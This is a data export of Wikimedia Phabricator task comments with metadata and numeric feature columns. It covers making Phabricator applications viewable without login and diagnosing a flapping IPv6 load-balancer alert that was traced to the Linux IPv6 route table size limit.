The reason to move it to ""Not critical for the RfC"" is that there is nothing to discuss here. All services must be public, and upstream agrees.

This task is blocking {T43} directly, there is no way to forget about it. Moving it back.",,,1410485124,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,2.0,0.0,0.0,0.0,2.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.328125,0.71875,"**qgil** wrote on CODE

The reason to move it to ""Not critical for the RfC"" is that there is nothing to discuss here. All services must be public, and upstream agrees.

This task is blocking {T43} directly, there is no way to forget about it. Moving it back."
623,Configure applications with public permissions (and user profiles) to not require users to login,"**mattflaschen** wrote on `2014-04-30 00:16:50 (UTC)`

Sorry, didn't mean to lower priority.",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.8333333333333334,"**mattflaschen** wrote on CODE

Sorry, didn't mean to lower priority."
622,Configure applications with public permissions (and user profiles) to not require users to login,"**mattflaschen** wrote on `2014-04-30 00:14:27 (UTC)`

This is critical for the RFC in my opinion.  Another important example is Differential (the code review); that also currently requires login to view.",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9743589743589745,0.8461538461538461,"**mattflaschen** wrote on CODE

This is critical for the RFC in my opinion.  Another important example is Differential (the code review); that also currently requires login to view."
621,Configure applications with public permissions (and user profiles) to not require users to login,"**Nemo_bis** wrote on `2014-04-18 19:27:09 (UTC)`

It was definitely the majority of what I clicked. Not going to try again, they are too many: http://fab.wmflabs.org/settings/panel/home/",,,1410485123,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,3.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3225806451612905,0.9032258064516129,"**Nemo_bis** wrote on CODE

It was definitely the majority of what I clicked. Not going to try again, they are too many: URL"
620,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-18 16:57:06 (UTC)`

Nemo, not all those apps are installed in our Phabricator, and in the final instance we will only install / show those that we intend to use. Here we have more options just because this is a test instance. Do you mind editing your comment and remove the noise?

I have gone through the applications offered in our current install and I have filed a bug upstream for the apps that are configured as Public but require login.

Applications with Public permissions requiring users to login
https://secure.phabricator.com/T4830

",,,1410485122,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.0,0.0,1.5,0.5,4.5,0.5,0.5,0.0,0.0,3.0,0.0,0.0,0.5,0.0,5.0,0.0,3.0,8.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,7.0,0.5,0.0,1.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,0.0,9.5,1.0,1.0,0.0,1.0,0.0,1.0,0.0,2.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,5.0,2.0,8.0,0.5,3.5,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.5,8.0,0.5,1.0,0.0,0.0,6.5,0.0,1.5,1.5,0.0,2.0,0.5,0.0,0.0,4.056603773584905,0.8207547169811321,"**qgil** wrote on CODE

Nemo, not all those apps are installed in our Phabricator, and in the final instance we will only install / show those that we intend to use. Here we have more options just because this is a test instance. Do you mind editing your comment and remove the noise?

I have gone through the applications offered in our current install and I have filed a bug upstream for the apps that are configured as Public but require login.

Applications with Public permissions requiring users to login
URL

"
619,Configure applications with public permissions (and user profiles) to not require users to login,"**qgil** wrote on `2014-04-17 22:31:48 (UTC)`

""Most of the stuff"" is not accurate. I found only Calendar, LegalPad, People, Owners. Hopefully  this is configurable by admins when installing the ""apps"".",,,1410485122,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-mycectmrbyzthse6e64k,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,9.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,18.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,3.477272727272727,0.7272727272727273,"**qgil** wrote on CODE

""Most of the stuff"" is not accurate. I found only Calendar, LegalPad, People, Owners. Hopefully  this is configurable by admins when installing the ""apps""."
113154,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"We've been having the occasional alert flap on the LVS HTTPS IPv6 on mobile-lb.eqiad alert, which has even caused some opsens to completely ignore it. This is something that we should fix ASAP, as a) i's highly probable it's a real problem, b) it conditions us to ignore pages.

I realized that despite his happening often, I have never been awake and/or present when this was happening. This made me go look at my IRC logs, which show this:
```
--- Day changed Tue Sep 08 2015
04:06 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:10 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 505 bytes in 0.010 second response time
--- Day changed Wed Sep 09 2015
--- Day changed Thu Sep 10 2015
--- Day changed Fri Sep 11 2015
05:07 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
05:09 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10770 bytes in 0.137 second response time
--- Day changed Sat Sep 12 2015
--- Day changed Sun Sep 13 2015
--- Day changed Mon Sep 14 2015
00:08 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
00:10 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10772 bytes in 0.334 second response time
--- Day changed Tue Sep 15 2015
--- Day changed Wed Sep 16 2015
04:38 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:40 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.114 second response time
04:48 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:55 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 505 bytes in 1.008 second response time
05:16 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
05:19 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.103 second response time
--- Day changed Thu Sep 17 2015
05:28 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
05:30 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 1.079 second response time
05:50 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
05:51 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10693 bytes in 0.079 second response time
--- Day changed Fri Sep 18 2015
04:45 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:46 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10514 bytes in 1.105 second response time
06:04 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
06:06 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10514 bytes in 0.096 second response time
--- Day changed Sat Sep 19 2015
04:02 < icinga-wm> PROBLEM - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:04 < icinga-wm> RECOVERY - LVS HTTPS IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 200 OK - 10512 bytes in 0.121 second response time
04:19 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
04:20 < icinga-wm> RECOVERY - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is OK: HTTP OK: HTTP/1.1 301 TLS Redirect - 503 bytes in 1.003 second response time
04:42 < icinga-wm> PROBLEM - LVS HTTP IPv6 on mobile-lb.eqiad.wikimedia.org_ipv6 is CRITICAL: Connection timed out
```
(hours are UTC+3)

Apparently there is //some// correlation with times of the day; this could be related to traffic levels or some other periodic tasks (IPsec session renewal?).",Unbreak Now!,100.0,1442688838,1443622297.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-rmiw44c77bd45w6yould,task_description,resolved,True,c3,3,True,False,True,11,True,1.0,0.5,1.0,0.5,0.0,5.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,4.5,0.0,4.0,6.5,0.5,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,1.5,0.0,0.0,0.5,10.0,3.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,2.5,4.5,8.5,1.5,0.5,8.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.5,6.5,4.5,0.5,0.0,0.0,6.5,0.0,2.5,1.0,1.0,1.5,0.0,0.0,1.0,3.8315217391304346,0.8178815004262574,"We've been having the occasional alert flap on the LVS HTTPS IPv6 on mobile-lb.eqiad alert, which has even caused some opsens to completely ignore it. This is something that we should fix ASAP, as a) i's highly probable it's a real problem, b) it conditions us to ignore pages.

I realized that despite his happening often, I have never been awake and/or present when this was happening. This made me go look at my IRC logs, which show this:
``CODE``
(hours are UTC+3)

Apparently there is //some// correlation with times of the day; this could be related to traffic levels or some other periodic tasks (IPsec session renewal?)."
538036,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"No flap paged in the usual timeframe last night.  icinga logs are clear of the usual raft of 1/3 soft fails too.  We still get some ipsec ipv6 flaps, but again at a much lower rate than before, so the remaining ones are probably from something unrelated to this.",,,1443622297,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,4.0,2.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,12.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.8214285714285716,0.8392857142857143,"No flap paged in the usual timeframe last night.  icinga logs are clear of the usual raft of 1/3 soft fails too.  We still get some ipsec ipv6 flaps, but again at a much lower rate than before, so the remaining ones are probably from something unrelated to this."
537143,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,^ +1,,,1443534834,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,^ +1
537140,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I did some additional searching and ended up... in [[ https://code.facebook.com/posts/1123882380960538/linux-ipv6-improvement-routing-cache-on-demand/ | Facebook's IPv6 work ]], which explains well the symptoms we're seeing. Their work has been merged into Linux 4.2-rc1 from what I can see, so things would be considerably improved then — but in the meantime, the fixes max_size increase that was just pushed should alleviate them for our scale.

Let's monitor this for another 24 hours and resolve.",,,1443534653,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,10.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,1.0,2.0,0.0,8.0,8.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,3.897727272727273,0.8295454545454546,"FWIW, I did some additional searching and ended up... in [[ URL | Facebook's IPv6 work ]], which explains well the symptoms we're seeing. Their work has been merged into Linux 4.2-rc1 from what I can see, so things would be considerably improved then — but in the meantime, the fixes max_size increase that was just pushed should alleviate them for our scale.

Let's monitor this for another 24 hours and resolve."
537137,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"FWIW, I did some additional searching and ended up... in Facebook",,,1443534543,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,1.0,"FWIW, I did some additional searching and ended up... in Facebook"
537126,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Change 242122 merged by Faidon Liambotis:
Bump IPv6 route max_size to 131072 for all

[[https://gerrit.wikimedia.org/r/242122]]",,,1443533046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,False,,,12,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.9090909090909091,"Change 242122 merged by Faidon Liambotis:
Bump IPv6 route max_size to 131072 for all

[[GERRIT_URL]]"
537123,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,"Change 242122 had a related patch set uploaded (by BBlack):
Bump v6 route max_size to 131072 for all

[[https://gerrit.wikimedia.org/r/242122]]
",,,1443532662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,False,,,12,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.607142857142857,0.8928571428571429,"Change 242122 had a related patch set uploaded (by BBlack):
Bump v6 route max_size to 131072 for all

[[GERRIT_URL]]
"
537118,LVS HTTPS IPv6 on mobile-lb.eqiad alert occasionally flapping,">>! In T113154#1683862, @BBlack wrote:
> Digging around a bit and thinking, I stumbled on a new theory: this might be because of the small fixed default size of `/proc/sys/net/ipv6/route/max_size`.  It's dynamically adjustable with normal sysctl, but it's always a fixed `4096` by default, whereas the ipv4 equivalent ends up being `2147483647` (2^31-1), and supposedly is based on system memory constraints and such.  The big cache clusters (upload, mobile, text) in codfw were all showing values just under 4K for `wc -l /proc/net/ipv6_route` in codfw this evening, and presumably the same in eqiad when it has full traffic.  For whatever reason, the same tables in ulsfo and esams are much smaller and nowhere near the 4K value (ulsfo closer to 2K-ish, esams only a few hundreds), which would explain why this doesn't hit those DCs.
> 
> I've manually adjusted the sysctl on all of the cp* machines to `131072` via salt for now, and I've been tailing the icinga log since then (nearly an hour now) and haven't even seen any 1/3 soft-fails for v6 service endpoints or the usual v6 ipsec flaps, either.  Will leave the tail running overnight.  Once the max_size was lifted, the codfw `wc -l /proc/net/ipv6_route` values jumped from their just-under-4K values to values in 5-7K range on those machines.
> 
> Will continue to observe, and tomorrow will dig deeper on exactly how that table works and what a sane way to size it would be, and also why esams seems so much less affected when it has at least as much total traffic (is v6 adoption really that much less in the EU than the US? there are other possible factors too, such as more cache boxes per cluster).

That's a very good find and catch. A few years ago we were having frequent issues with the IPv4 route cache filling up, in particular in cases of traffic surges. We had to workaround these until upstream Linux ditched the IPv4 route cache entirely.

This is the knob for the IPv6 routing table but IIRC is also the same for the route cache table. 4096 would definitely not be enough and cause this effect. Ironically, us switching to HTTPS for which we use `sh` probably delayed the occurence of this issue considerably!

IPv6 connectivity is on the rise (exponentially, even) which could explain the sudden occurence of this issue. It's currently at ~8.5% globally and ~21.5% in the US, according to [[ http://www.google.com/intl/en/ipv6/statistics.html | Google's IPv6 statistics ]], the most complete analysis on the subject. The iOS 9 release probably also gave a boost to the number of IPv6 users globally because of a [[ https://www.ietf.org/mail-archive/web/v6ops/current/msg22455.html | changed behavior ]] in the OS.

To answer your other question on US vs. EU IPv6: as you can see from the Google stats above, Europe's IPv6 connectivity varies greatly from country to country due to different operators, but it's clear that on average cannot top the US' numbers.

Moreover, I ran a quick log analysis over our own (sampled 1:1000) logs for two dates, yesterday and Aug 8th. The findings are:
- IPv6 globally is at 8.45%, was 7.64% back in August.
- 46.49% of our (IPv4/IPv6) traffic hits esams (42.85% in August); ulsfo is at 20.56% (14.11%), eqiad+codfw is at 32.95% (43.04% in August). Wwe've reshuffled half of the US' traffic during this time period, so the difference between Aug/Sep makes sense.
- 11.47% (11.87%) of all of requests ending up at eqiad+codfw are IPv6. For ulsfo it's 10.6% (3.79%) and for esams it's 5.35% (4.67%). 
- IPv6 requests hitting eqiad+codfw+ulsfo are 70.55% of all IPv6 requests (73.79%).
- IPv6 requests hitting just eqiad+codfw are now 44.70% (66.78%) of all IPv6 requests, i.e. ulsfo handles 25.85% (7.01%) of all IPv6 requests.

All of the above seem to support that a) eqiad/codfw get a lot more IPv6 traffic both in comparison and in absolute numbers than esams/ulsfo (without factoring in number of servers/requests per server), b) there is a strong correlation of the US-West move to ulsfo earlier this month changing the IPv6 ratio for ulsfo, which in turn suggests that the percentages of IPv6 users in the US are much higher than Asia (or the rest of the world for that matter).",,,1443532263,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-rmiw44c77bd45w6yould,task_subcomment,,True,c3,3,True,,,12,True,1.1666666666666667,0.0,0.5,0.0,0.3333333333333333,3.6666666666666665,1.3333333333333333,0.16666666666666666,0.0,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.16666666666666666,2.1666666666666665,0.0,5.333333333333333,12.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,1.5,0.0,0.16666666666666666,0.5,0.5,0.16666666666666666,0.8333333333333334,4.333333333333333,0.5,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.16666666666666666,1.5,0.0,0.0,0.5,0.6666666666666666,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,18.666666666666668,0.3333333333333333,1.3333333333333333,0.16666666666666666,0.6666666666666666,0.0,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.833333333333333,2.5,11.0,0.6666666666666666,1.8333333333333333,8.666666666666666,0.0,0.0,0.16666666666666666,0.0,1.5,0.0,4.5,0.0,2.1666666666666665,12.666666666666666,7.5,0.0,0.3333333333333333,0.0,2.1666666666666665,0.0,0.5,1.1666666666666667,0.16666666666666666,1.5,0.5,0.16666666666666666,1.0,3.672043010752688,0.6594982078853046,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's a very good find and catch. A few years ago we were having frequent issues with the IPv4 route cache filling up, in particular in cases of traffic surges. We had to workaround these until upstream Linux ditched the IPv4 route cache entirely.

This is the knob for the IPv6 routing table but IIRC is also the same for the route cache table. 4096 would definitely not be enough and cause this effect. Ironically, us switching to HTTPS for which we use CODE probably delayed the occurence of this issue considerably!

IPv6 connectivity is on the rise (exponentially, even) which could explain the sudden occurence of this issue. It's currently at ~8.5% globally and ~21.5% in the US, according to [[ URL | Google's IPv6 statistics ]], the most complete analysis on the subject. The iOS 9 release probably also gave a boost to the number of IPv6 users globally because of a [[ URL | changed behavior ]] in the OS.

To answer your other question on US vs. EU IPv6: as you can see from the Google stats above, Europe's IPv6 connectivity varies greatly from country to country due to different operators, but it's clear that on average cannot top the US' numbers.

Moreover, I ran a quick log analysis over our own (sampled 1:1000) logs for two dates, yesterday and Aug 8th. The findings are:
- IPv6 globally is at 8.45%, was 7.64% back in August.
- 46.49% of our (IPv4/IPv6) traffic hits esams (42.85% in August); ulsfo is at 20.56% (14.11%), eqiad+codfw is at 32.95% (43.04% in August). Wwe've reshuffled half of the US' traffic during this time period, so the difference between Aug/Sep makes sense.
- 11.47% (11.87%) of all of requests ending up at eqiad+codfw are IPv6. For ulsfo it's 10.6% (3.79%) and for esams it's 5.35% (4.67%). 
- IPv6 requests hitting eqiad+codfw+ulsfo are 70.55% of all IPv6 requests (73.79%).
- IPv6 requests hitting just eqiad+codfw are now 44.70% (66.78%) of all IPv6 requests, i.e. ulsfo handles 25.85% (7.01%) of all IPv6 requests.

All of the above seem to support that a) eqiad/codfw get a lot more IPv6 traffic both in comparison and in absolute numbers than esams/ulsfo (without factoring in number of servers/requests per server), b) there is a strong correlation of the US-West move to ulsfo earlier this month changing the IPv6 ratio for ulsfo, which in turn suggests that the percentages of IPv6 users in the US are much higher than Asia (or the rest of the world for that matter)."
